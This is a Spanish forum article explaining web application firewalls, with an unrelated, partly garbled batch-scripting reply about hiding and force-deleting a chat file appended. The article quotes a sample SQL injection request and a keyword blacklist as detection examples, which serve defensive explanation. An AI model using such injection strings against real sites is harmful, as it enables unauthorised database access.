Al ser empleadas por más usuarios, son más dispuestas a sufrir ataques, aunque la idea es construir aplicaciones tolerantes a fallos y sin vulnerabilidades, por diferentes razones (en las que no entraremos) no siempre pasa eso.
El WAF solo es una herramienta complementaria y no pretende sustituir las medidas de protección que el desarrollador tiene que llevar a cabo al programar una aplicación.
Se trata de un dispositivo físico que analiza el tráfico web (entre el servidor web y la WAN), los datos recibidos por parte del usuario y protege de diferentes ataques web como: SQL Injection, Cross Site Scripting, Remote and Local File Inclusion, , Buffer Overflows, Cookie Poisoning, etc. Este dispositivo, trata de proteger de los ataques dirigidos al servidor web que los IDS/IPS no nos pueden defender.
Los Pros y Contras de los Modelos de Seguridad
Dentro de los WAF respecto al Modelo de Seguridad se distinguen:
A) Modelo de Seguridad Positiva
Los WAF que siguen el modelo de seguridad positiva deniegan por defecto todas las transacciones y solamente acepta las que identifica como seguras o válidas. Para determinar si una transacción es segura, consulta una una serie de reglas que se definen previamente, ya sea, por el auto-aprendizaje de la aplicación o configuradas manualmente.
A simple vista, parece ser la solución idónea, pero si nuestra aplicación está sujeta a cambios en el diseño o funcionamiento este modelo de seguridad puede volverse difícil de mantener. Otras ventajas de este modelo es que no dependen de ningún tipo de actualizaciones y nos protegen de ataques desconocidos, como desventaja, son más propensos a detectar falsos positivos y necesitan un proceso de aprendizaje, para saber como funciona la aplicación.
B) Modelo de Seguridad Negativa
En este modelo de seguridad, el WAF acepta todas las transacciones y solamente deniega las que detecta como una posible amenaza o un ataque. Contrastando con el anterior, no es muy preciso y depende de actualizaciones y bases de firmas de posibles ataques.
A pesar de las desventajas arriba citadas, los WAF que siguen este modelo no precisan de muchos ajustes y suelen ser fáciles de administrar.
¿Que tipo de ataques puede bloquear?
Este aspecto puede variar dependiendo del fabricante del equipo, aunque, la mayoría detectan los ataques más comunes.
Puede detectar un posible buffer overflow analizando las variables que lleguen por GET o POST. Por ejemplo, si el valor de una variable es superior a 150 caracteres, el WAF podría detectar la transacción como maliciosa y denegarla.
Para los ataques de Cross Site Scripting y SQL Injection, el WAF vigila que los valores pasados tanto por GET como por POST, no contengan valores como "SELECT FROM, UNION, CONCAT, <script >, %, etc.
El factor negativo, es que, si nuestra aplicación utiliza caracteres que el WAF tenga en su "lista negra", denegará las peticiones de los usuarios, en este caso hay dos soluciones: rediseñar el funcionamiento de la aplicación o configurar el WAF para que ignore dichos caracteres.
Algunos WAF también monitorizan las respuestas del servidor, por ejemplo, si en una respuesta, que el servidor web envía al usuario se detectan cadenas que pueden ser identificadas como cuentas bancarias, el WAF lo puede detectar como un posible ataque y denegar la respuesta.
Proceso de Aprendizaje
Supongamos que tenemos una aplicación que muestra los productos de un catálogo y para mostrar un producto, se realiza la siguiente petición:
GET http://sitepath.com/show_article.php?id=15La aplicación de por si sola, creará una regla que especifique que el valor de esa variable es numérica. Si se realiza la siguiente petición:
GET http://sitepath.com/show_article.php?id=15' or 1=1 --El WAF detectará una anomalía y tomará las medidas necesarias, que suelen ser, la denegación de la petición o el redireccionamiento a una página previamente configurada, como un error 404.
¿Qué riesgos implica emplear un WAF?
Si no están configurados correctamente, pueden detectar muchos falsos positivos, por tanto, muchas transacciones denegadas y pérdida de capital por parte de la empresa.
La mayoría necesitan adaptación y configuración ante nuevos cambios en el funcionamiento de la aplicación.
Pueden introducir un cierto retardo en las transferencias, por tanto, clientes insatisfechos y jefes molestos. Para atenuar este factor negativo, se pueden implementar aceleradores SSL (es un dispositivo hardware que se encarga de la capa de protección SSL, quita carga al servidor web), usar webchache, comprimir los datos HTML, CSS y JS al enviarlos al navegador.
Modos de Funcionamiento
Pueden funcionar en modo bridge, router, proxy o plugin. Disponibles tanto como Hardware como Software.
Un ejemplo bastante conocido de WAF a nivel software es mod_security, un plugin de Apache que se encarga de la seguridad en las transferencias. La mayoría, por no decir todos, disponen de funciones de registro o logs, donde almacena los sucesos ocurridos.
Una característica bastante interesante es la denegación de peticiones provenientes de diferentes lugares geográficos, por ejemplo, es probable que a nuestro personal de marketing no le interese recibir visitas a la web de ventas de la compañía provenientes de Asia Oriental y deciden denegar toda petición proveniente de ese continente.
Bibliografía y Enlaces externos:
- You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
- You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
- You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Autor: madpitbull_99
Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Adaptación: Sthefano02
#200
Batch - Bash / Re:""MSN"" en batch
Julio 14, 2011, 05:54:50 PM
Puedes proteger los archivos creados con
Código: dos
Información:
Código: dos
Puedes asegurar el eliminado del archivo.
Código: dos
Reemplazandolo por:
Código: dos
Más información:
Código: dos
Saludos y sigue así!
ATTRIB +R +A +S +HInformación:
ATTRIB /?Puedes asegurar el eliminado del archivo.
del chat.txtReemplazandolo por:
del /s /q /f chat.txtMás información:
del /?Saludos y sigue así!

